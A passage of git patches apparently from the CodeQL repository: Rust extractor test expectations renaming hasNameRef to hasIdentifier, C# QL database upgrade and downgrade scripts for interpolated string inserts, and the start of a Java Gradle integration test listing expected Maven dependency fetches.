hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_expr.rs:6:18:6:20 | bar | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_expr.rs:7:13:7:15 | <...> | hasGenericArgList: | no | hasNameRef: | no | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | yes | hasTraitTypeRepr: | no | -| gen_path_expr.rs:7:14:7:14 | T | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_expr.rs:7:18:7:20 | foo | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_expr.rs:8:13:8:31 | <...> | hasGenericArgList: | no | hasNameRef: | no | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | yes | hasTraitTypeRepr: | yes | -| gen_path_expr.rs:8:14:8:21 | TypeRepr | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_expr.rs:8:26:8:30 | Trait | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_expr.rs:8:34:8:36 | foo | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_pat.rs:5:11:5:11 | x | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_pat.rs:6:9:6:11 | Foo | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_pat.rs:6:14:6:16 | Bar | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_type_repr.rs:5:14:5:16 | std | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_type_repr.rs:5:19:5:29 | collections | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_type_repr.rs:5:32:5:48 | HashMap::<...> | hasGenericArgList: | yes | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_type_repr.rs:5:40:5:42 | i32 | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_type_repr.rs:5:45:5:47 | i32 | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_type_repr.rs:6:14:6:14 | X | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | -| gen_path_type_repr.rs:6:17:6:20 | Item | hasGenericArgList: | no | hasNameRef: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path.rs:5:9:5:18 | some_crate | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path.rs:5:21:5:31 | some_module | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path.rs:5:34:5:42 | some_item | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path.rs:6:5:6:7 | foo | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path.rs:6:10:6:12 | bar | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_expr.rs:5:13:5:20 | variable | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_expr.rs:6:13:6:15 | foo | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_expr.rs:6:18:6:20 | bar | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_expr.rs:7:13:7:15 | <...> | hasGenericArgList: | no | hasIdentifier: | no | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | yes | hasTraitTypeRepr: | no | +| gen_path_expr.rs:7:14:7:14 | T | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_expr.rs:7:18:7:20 | foo | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_expr.rs:8:13:8:31 | <...> | hasGenericArgList: | no | hasIdentifier: | no | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | yes | hasTraitTypeRepr: | yes | +| gen_path_expr.rs:8:14:8:21 | TypeRepr | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_expr.rs:8:26:8:30 | Trait | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_expr.rs:8:34:8:36 | foo | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_pat.rs:5:11:5:11 | x | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_pat.rs:6:9:6:11 | Foo | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_pat.rs:6:14:6:16 | Bar | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_type_repr.rs:5:14:5:16 | std | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_type_repr.rs:5:19:5:29 | collections | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_type_repr.rs:5:32:5:48 | HashMap::<...> | hasGenericArgList: | yes | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_type_repr.rs:5:40:5:42 | i32 | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_type_repr.rs:5:45:5:47 | i32 | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_type_repr.rs:6:14:6:14 | X | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | +| gen_path_type_repr.rs:6:17:6:20 | Item | hasGenericArgList: | no | hasIdentifier: | yes | hasParenthesizedArgList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTraitTypeRepr: | no | diff --git a/rust/ql/test/extractor-tests/generated/Path/PathSegment_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/Path/PathSegment_getIdentifier.expected new file mode 100644 index 00000000000..dfa33cf9611 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Path/PathSegment_getIdentifier.expected @@ -0,0 +1,23 @@ +| gen_path.rs:5:9:5:18 | some_crate | gen_path.rs:5:9:5:18 | some_crate | +| gen_path.rs:5:21:5:31 | some_module | gen_path.rs:5:21:5:31 | some_module | +| gen_path.rs:5:34:5:42 | some_item | gen_path.rs:5:34:5:42 | some_item | +| gen_path.rs:6:5:6:7 | foo | gen_path.rs:6:5:6:7 | foo | +| gen_path.rs:6:10:6:12 | bar | gen_path.rs:6:10:6:12 | bar | +| gen_path_expr.rs:5:13:5:20 | variable | gen_path_expr.rs:5:13:5:20 | variable | +| gen_path_expr.rs:6:13:6:15 | foo | gen_path_expr.rs:6:13:6:15 | foo | +| gen_path_expr.rs:6:18:6:20 | bar | gen_path_expr.rs:6:18:6:20 | bar | +| gen_path_expr.rs:7:14:7:14 | T | gen_path_expr.rs:7:14:7:14 | T | +| gen_path_expr.rs:7:18:7:20 | foo | gen_path_expr.rs:7:18:7:20 | foo | +| gen_path_expr.rs:8:14:8:21 | TypeRepr | gen_path_expr.rs:8:14:8:21 | TypeRepr | +| gen_path_expr.rs:8:26:8:30 | Trait | gen_path_expr.rs:8:26:8:30 | Trait | +| gen_path_expr.rs:8:34:8:36 | foo | gen_path_expr.rs:8:34:8:36 | foo | +| gen_path_pat.rs:5:11:5:11 | x | gen_path_pat.rs:5:11:5:11 | x | +| gen_path_pat.rs:6:9:6:11 | Foo | gen_path_pat.rs:6:9:6:11 | Foo | +| gen_path_pat.rs:6:14:6:16 | Bar | gen_path_pat.rs:6:14:6:16 | Bar | +| gen_path_type_repr.rs:5:14:5:16 | std | gen_path_type_repr.rs:5:14:5:16 | std | +| gen_path_type_repr.rs:5:19:5:29 | collections | gen_path_type_repr.rs:5:19:5:29 | collections | +| gen_path_type_repr.rs:5:32:5:48 | HashMap::<...> | gen_path_type_repr.rs:5:32:5:38 | HashMap | +| gen_path_type_repr.rs:5:40:5:42 | i32 | gen_path_type_repr.rs:5:40:5:42 | i32 | +| gen_path_type_repr.rs:5:45:5:47 | i32 | gen_path_type_repr.rs:5:45:5:47 | i32 | +| gen_path_type_repr.rs:6:14:6:14 | X | gen_path_type_repr.rs:6:14:6:14 | X | +| gen_path_type_repr.rs:6:17:6:20 | Item | gen_path_type_repr.rs:6:17:6:20 | Item | diff --git a/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField.expected b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField.expected index c9e1aebc5bf..952656c39aa 100644 --- a/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField.expected +++ b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField.expected @@ -1,2 +1,2 @@ -| gen_struct_expr_field.rs:5:11:5:14 | a: 1 | getNumberOfAttrs: | 0 | hasExpr: | yes | hasNameRef: | yes | -| gen_struct_expr_field.rs:5:17:5:20 | b: 2 | getNumberOfAttrs: | 0 | hasExpr: | yes | hasNameRef: | yes | +| gen_struct_expr_field.rs:5:11:5:14 | a: 1 | getNumberOfAttrs: | 0 | hasExpr: | yes | hasIdentifier: | yes | +| gen_struct_expr_field.rs:5:17:5:20 | b: 2 | getNumberOfAttrs: | 0 | hasExpr: | yes | hasIdentifier: | yes | diff --git a/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getIdentifier.expected new file mode 100644 index 00000000000..feb2debc66e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getIdentifier.expected @@ -0,0 +1,2 @@ +| gen_struct_expr_field.rs:5:11:5:14 | a: 1 | gen_struct_expr_field.rs:5:11:5:11 | a | +| gen_struct_expr_field.rs:5:17:5:20 | b: 2 | gen_struct_expr_field.rs:5:17:5:17 | b | diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField_getDefault.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField_getDefault.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField.expected b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField.expected index 1c7e12fb64e..bb492dabd12 100644 --- a/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField.expected +++ b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField.expected @@ -1,2 +1,2 @@ -| gen_struct_pat_field.rs:5:15:5:18 | a: 1 | getNumberOfAttrs: | 0 | hasNameRef: | yes | hasPat: | yes | -| gen_struct_pat_field.rs:5:21:5:24 | b: 2 | getNumberOfAttrs: | 0 | hasNameRef: | yes | hasPat: | yes | +| gen_struct_pat_field.rs:5:15:5:18 | a: 1 | getNumberOfAttrs: | 0 | hasIdentifier: | yes | hasPat: | yes | +| gen_struct_pat_field.rs:5:21:5:24 | b: 2 | getNumberOfAttrs: | 0 | hasIdentifier: | yes | hasPat: | yes | diff --git a/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getIdentifier.expected new file mode 100644 index 00000000000..b2f9c496747 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getIdentifier.expected @@ -0,0 +1,2 @@ +| gen_struct_pat_field.rs:5:15:5:18 | a: 1 | gen_struct_pat_field.rs:5:15:5:15 | a | +| gen_struct_pat_field.rs:5:21:5:24 | b: 2 | gen_struct_pat_field.rs:5:21:5:21 | b | diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getDiscriminant.expected b/rust/ql/test/extractor-tests/generated/Variant/Variant_getDiscriminant.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/rust/ql/test/extractor-tests/utf8/ast.expected b/rust/ql/test/extractor-tests/utf8/ast.expected index 3c0cc6f3bec..58f926364c0 100644 --- a/rust/ql/test/extractor-tests/utf8/ast.expected +++ b/rust/ql/test/extractor-tests/utf8/ast.expected @@ -14,7 +14,7 @@ | utf8_identifiers.rs:4:5:4:6 | { ... } | | utf8_identifiers.rs:6:1:8:1 | struct X | | utf8_identifiers.rs:6:8:6:8 | X | -| utf8_identifiers.rs:6:10:8:1 | RecordFieldList | +| utf8_identifiers.rs:6:10:8:1 | StructFieldList | | utf8_identifiers.rs:7:5:7:5 | \u03b4 | | utf8_identifiers.rs:7:5:7:13 | StructField | | utf8_identifiers.rs:7:9:7:13 | usize | From e30fed6eecf67a28bdc5ca06939d0cc68cee6b73 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Mon, 31 Mar 2025 11:30:40 +0200 Subject: [PATCH 158/282] C#: Improve upgrade script. --- .../string_interpol_insert.ql | 57 +++++++++++++++++++ .../upgrade.properties | 4 +- 2 files changed, 60 insertions(+), 1 deletion(-) create mode 100644 csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/string_interpol_insert.ql diff --git a/csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/string_interpol_insert.ql b/csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/string_interpol_insert.ql new file mode 100644 index 00000000000..2df164b2842 --- /dev/null +++ b/csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/string_interpol_insert.ql @@ -0,0 +1,57 @@ +class Expr extends @expr { + string toString() { none() } +} + +class TypeOrRef extends @type_or_ref { + string toString() { none() } +} + +class StringLiteral extends Expr, @string_literal_expr { } + +class InterpolatedStringExpr extends Expr, @interpolated_string_expr { } + +class StringInterpolationInsert extends Expr, @element { + StringInterpolationInsert() { + expressions(this, _, _) and + expr_parent(this, _, any(InterpolatedStringExpr x)) and + not this instanceof StringLiteral + } +} + +newtype TAddedElement = TInsert(StringInterpolationInsert e) + +module Fresh = QlBuiltins::NewEntity; + +class TNewExpr = @expr or Fresh::EntityId; + +class NewExpr extends TNewExpr { + string toString() { none() } +} + +query predicate new_expressions(NewExpr id, int kind, TypeOrRef t) { + expressions(id, kind, t) + or + exists(StringInterpolationInsert e | + // The type of `e` is just copied even though a null type would be preferred. + expressions(e, _, t) and + Fresh::map(TInsert(e)) = id and + kind = 138 + ) +} + +query predicate new_expr_parent(NewExpr id, int child, NewExpr parent) { + // Keep all parent child relationships except for string interpolation inserts + expr_parent(id, child, parent) and not id instanceof StringInterpolationInsert + or + exists(StringInterpolationInsert e, int child0, NewExpr p0, NewExpr new_id | + expr_parent(e, child0, p0) and new_id = Fresh::map(TInsert(e)) + | + id = new_id and + child = child0 and + parent = p0 + or + id = e and + child = 0 and + parent = new_id + ) +} diff --git a/csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/upgrade.properties b/csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/upgrade.properties index 1989c9c8847..ef7a5cbf343 100644 --- a/csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/upgrade.properties +++ b/csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/upgrade.properties @@ -1,2 +1,4 @@ description: Add `interpolated_string_insert_expr` kind. -compatibility: partial +compatibility: backwards +expressions.rel: run string_interpol_insert.qlo new_expressions +expr_parent.rel: run string_interpol_insert.qlo new_expr_parent From 87dc4cd10105f9bf2f79310b947ac6fa3a8a8bde Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Mon, 31 Mar 2025 13:19:23 +0200 Subject: [PATCH 159/282] Rust: accept test changes --- .../CONSISTENCY/AstConsistency.expected | 41 +++++++++++++++++++ .../StructFieldList/StructFieldList.expected | 0 .../StructFieldList_getField.expected | 0 3 files changed, 41 insertions(+) create mode 100644 rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected create mode 100644 rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected create mode 100644 rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected diff --git a/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected b/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected new file mode 100644 index 00000000000..1e47287a293 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected @@ -0,0 +1,41 @@ +noLocation +| file://:0:0:0:0 | ... .unwrap(...) | +| file://:0:0:0:0 | ...: ... | +| file://:0:0:0:0 | ...::Path | +| file://:0:0:0:0 | ...::Path | +| file://:0:0:0:0 | ...::path | +| file://:0:0:0:0 | ArgList | +| file://:0:0:0:0 | ArgList | +| file://:0:0:0:0 | ParamList | +| file://:0:0:0:0 | Path | +| file://:0:0:0:0 | Path | +| file://:0:0:0:0 | Path | +| file://:0:0:0:0 | Path | +| file://:0:0:0:0 | Path | +| file://:0:0:0:0 | Path | +| file://:0:0:0:0 | Path | +| file://:0:0:0:0 | Path | +| file://:0:0:0:0 | Path | +| file://:0:0:0:0 | Path | +| file://:0:0:0:0 | RefTypeRepr | +| file://:0:0:0:0 | RefTypeRepr | +| file://:0:0:0:0 | RetTypeRepr | +| file://:0:0:0:0 | StmtList | +| file://:0:0:0:0 | fn get_parent | +| file://:0:0:0:0 | get_parent | +| file://:0:0:0:0 | parent | +| file://:0:0:0:0 | path | +| file://:0:0:0:0 | path | +| file://:0:0:0:0 | path | +| file://:0:0:0:0 | path | +| file://:0:0:0:0 | path | +| file://:0:0:0:0 | path | +| file://:0:0:0:0 | path | +| file://:0:0:0:0 | path | +| file://:0:0:0:0 | path.parent(...) | +| file://:0:0:0:0 | std | +| file://:0:0:0:0 | std | +| file://:0:0:0:0 | std | +| file://:0:0:0:0 | unwrap | +| file://:0:0:0:0 | use ...::Path | +| file://:0:0:0:0 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected new file mode 100644 index 00000000000..e69de29bb2d From 8e1282bfde17e8a35194edf9e6adc90d2ff259ec Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Mon, 31 Mar 2025 13:39:03 +0200 Subject: [PATCH 160/282] C#: Improve downgrade script. --- .../expressions.ql | 13 ------- .../string_interpol_insert.ql | 39 +++++++++++++++++++ .../upgrade.properties | 5 ++- 3 files changed, 42 insertions(+), 15 deletions(-) delete mode 100644 csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/expressions.ql create mode 100644 csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/string_interpol_insert.ql diff --git a/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/expressions.ql b/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/expressions.ql deleted file mode 100644 index 4f516d1d5cb..00000000000 --- a/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/expressions.ql +++ /dev/null @@ -1,13 +0,0 @@ -class Expression extends @expr { - string toString() { none() } -} - -class TypeOrRef extends @type_or_ref { - string toString() { none() } -} - -from Expression e, int k, int kind, TypeOrRef t -where - expressions(e, k, t) and - if k = 138 then kind = 106 else kind = k -select e, kind, t diff --git a/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/string_interpol_insert.ql b/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/string_interpol_insert.ql new file mode 100644 index 00000000000..3f83b1ea3cc --- /dev/null +++ b/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/string_interpol_insert.ql @@ -0,0 +1,39 @@ +class Expr extends @expr { + string toString() { none() } +} + +class TypeOrRef extends @type_or_ref { + string toString() { none() } +} + +class InterpolatedStringInsertExpr extends Expr, @interpolated_string_insert_expr { } + +private predicate remove_expr(Expr e) { + exists(InterpolatedStringInsertExpr ie | + e = ie + or + // Alignment + expr_parent(e, 1, ie) + or + // Format + expr_parent(e, 2, ie) + ) +} + +query predicate new_expressions(Expr e, int kind, TypeOrRef t) { + expressions(e, kind, t) and + // Remove the syntheetic intert expression and previously un-extracted children + not remove_expr(e) +} + +query predicate new_expr_parent(Expr e, int child, Expr parent) { + expr_parent(e, child, parent) and + not remove_expr(e) and + not remove_expr(parent) + or + // Use the string interpolation as parent instead of the synthetic insert expression + exists(InterpolatedStringInsertExpr ie | + expr_parent(e, 0, ie) and + expr_parent(ie, child, parent) + ) +} diff --git a/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/upgrade.properties b/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/upgrade.properties index 9e9a659b10a..9e8118060f2 100644 --- a/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/upgrade.properties +++ b/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/upgrade.properties @@ -1,3 +1,4 @@ description: Remove `interpolated_string_insert_expr` kind. -compatibility: partial -expressions.rel: run expressions.qlo +compatibility: backwards +expressions.rel: run string_interpol_insert.qlo new_expressions +expr_parent.rel: run string_interpol_insert.qlo new_expr_parent From bc7bed42bd131d0338c682af82d4e49cd067d774 Mon Sep 17 00:00:00 2001 From: Chris Smowton Date: Thu, 27 Mar 2025 15:13:35 +0000 Subject: [PATCH 161/282] Java: add test exercising Gradle download pruning --- .../java/buildless-gradle-boms/build.gradle | 18 +++++ .../buildless-fetches.expected | 5 ++ .../diagnostics.expected | 70 +++++++++++++++++++ .../buildless-gradle-boms/settings.gradle | 8 +++ .../source_archive.expected | 6 ++ .../main/java/com/fractestexample/Test.java | 9 +++ .../java/buildless-gradle-boms/test.py | 7 ++ 7 files changed, 123 insertions(+) create mode 100644 java/ql/integration-tests/java/buildless-gradle-boms/build.gradle create mode 100644 java/ql/integration-tests/java/buildless-gradle-boms/buildless-fetches.expected create mode 100644 java/ql/integration-tests/java/buildless-gradle-boms/diagnostics.expected create mode 100644 java/ql/integration-tests/java/buildless-gradle-boms/settings.gradle create mode 100644 java/ql/integration-tests/java/buildless-gradle-boms/source_archive.expected create mode 100644 java/ql/integration-tests/java/buildless-gradle-boms/src/main/java/com/fractestexample/Test.java create mode 100644 java/ql/integration-tests/java/buildless-gradle-boms/test.py diff --git a/java/ql/integration-tests/java/buildless-gradle-boms/build.gradle b/java/ql/integration-tests/java/buildless-gradle-boms/build.gradle new file mode 100644 index 00000000000..c70d65bed80 --- /dev/null +++ b/java/ql/integration-tests/java/buildless-gradle-boms/build.gradle @@ -0,0 +1,18 @@ +/* + * This file was generated by the Gradle 'init' task. + * + * This is a general purpose Gradle build. + * To learn more about Gradle by exploring our Samples at https://docs.gradle.org/8.3/samples + */ + +apply plugin: 'java-library' + +repositories { + mavenCentral() +} + +dependencies { + api 'org.apache.commons:commons-math3:3.6.1' + + api 'org.junit.jupiter:junit-jupiter-api:5.12.1' +} diff --git a/java/ql/integration-tests/java/buildless-gradle-boms/buildless-fetches.expected b/java/ql/integration-tests/java/buildless-gradle-boms/buildless-fetches.expected new file mode 100644 index 00000000000..7b336ba62cb --- /dev/null +++ b/java/ql/integration-tests/java/buildless-gradle-boms/buildless-fetches.expected @@ -0,0 +1,5 @@ +https://repo.maven.apache.org/maven2/org/apache/commons/commons-math3/3.6.1/commons-math3-3.6.1.jar +https://repo.maven.apache.org/maven2/org/apiguardian/apiguardian-api/1.1.2/apiguardian-api-1.1.2.jar +https://repo.maven.apache.org/maven2/org/junit/jupiter/junit-jupiter-api/5.12.1/junit-jupiter-api-5.12.1.jar +https://repo.maven.apache.org/maven2/org/junit/platform/junit-platform-commons/1.12.1/junit-platform-commons-1.12.1.jar +https://repo.maven.apache.org/maven2/org/opentest4j/opentest4j/1.3.0/opentest4j-1.3.0.jar diff --git a/java/ql/integration-tests/java/buildless-gradle-boms/diagnostics.expected b/java/ql/integration-tests/java/buildless-gradle-boms/diagnostics.expected new file mode 100644 index 00000000000..976e0eb08fc --- /dev/null +++ b/java/ql/integration-tests/java/buildless-gradle-boms/diagnostics.expected @@ -0,0 +1,70 @@ +{ + "markdownMessage": "Java analysis used build tool Gradle to pick a JDK version and/or to recommend external dependencies.", + "severity": "unknown", + "source": { + "extractorName": "java", + "id": "java/autobuilder/buildless/using-build-tool-advice", + "name": "Java analysis used build tool Gradle to pick a JDK version and/or to recommend external dependencies" + }, + "visibility": { + "cliSummaryTable": true, + "statusPage": false, + "telemetry": true + } +} +{ + "markdownMessage": "Java analysis used the system default JDK.", + "severity": "unknown", + "source": { + "extractorName": "java", + "id": "java/autobuilder/buildless/jdk-system-default", + "name": "Java analysis used the system default JDK" + }, + "visibility": { + "cliSummaryTable": true, + "statusPage": false, + "telemetry": true + } +} +{ + "markdownMessage": "Java analysis with build-mode 'none' completed.", + "severity": "unknown", + "source": { + "extractorName": "java", + "id": "java/autobuilder/buildless/complete", + "name": "Java analysis with build-mode 'none' completed" + }, + "visibility": { + "cliSummaryTable": true, + "statusPage": false, + "telemetry": true + } +} +{ + "markdownMessage": "Java was extracted with build-mode set to 'none'. This means that all Java source in the working directory will be scanned, with build tools such as Maven and Gradle only contributing information about external dependencies.", + "severity": "note", + "source": { + "extractorName": "java", + "id": "java/autobuilder/buildless/mode-active", + "name": "Java was extracted with build-mode set 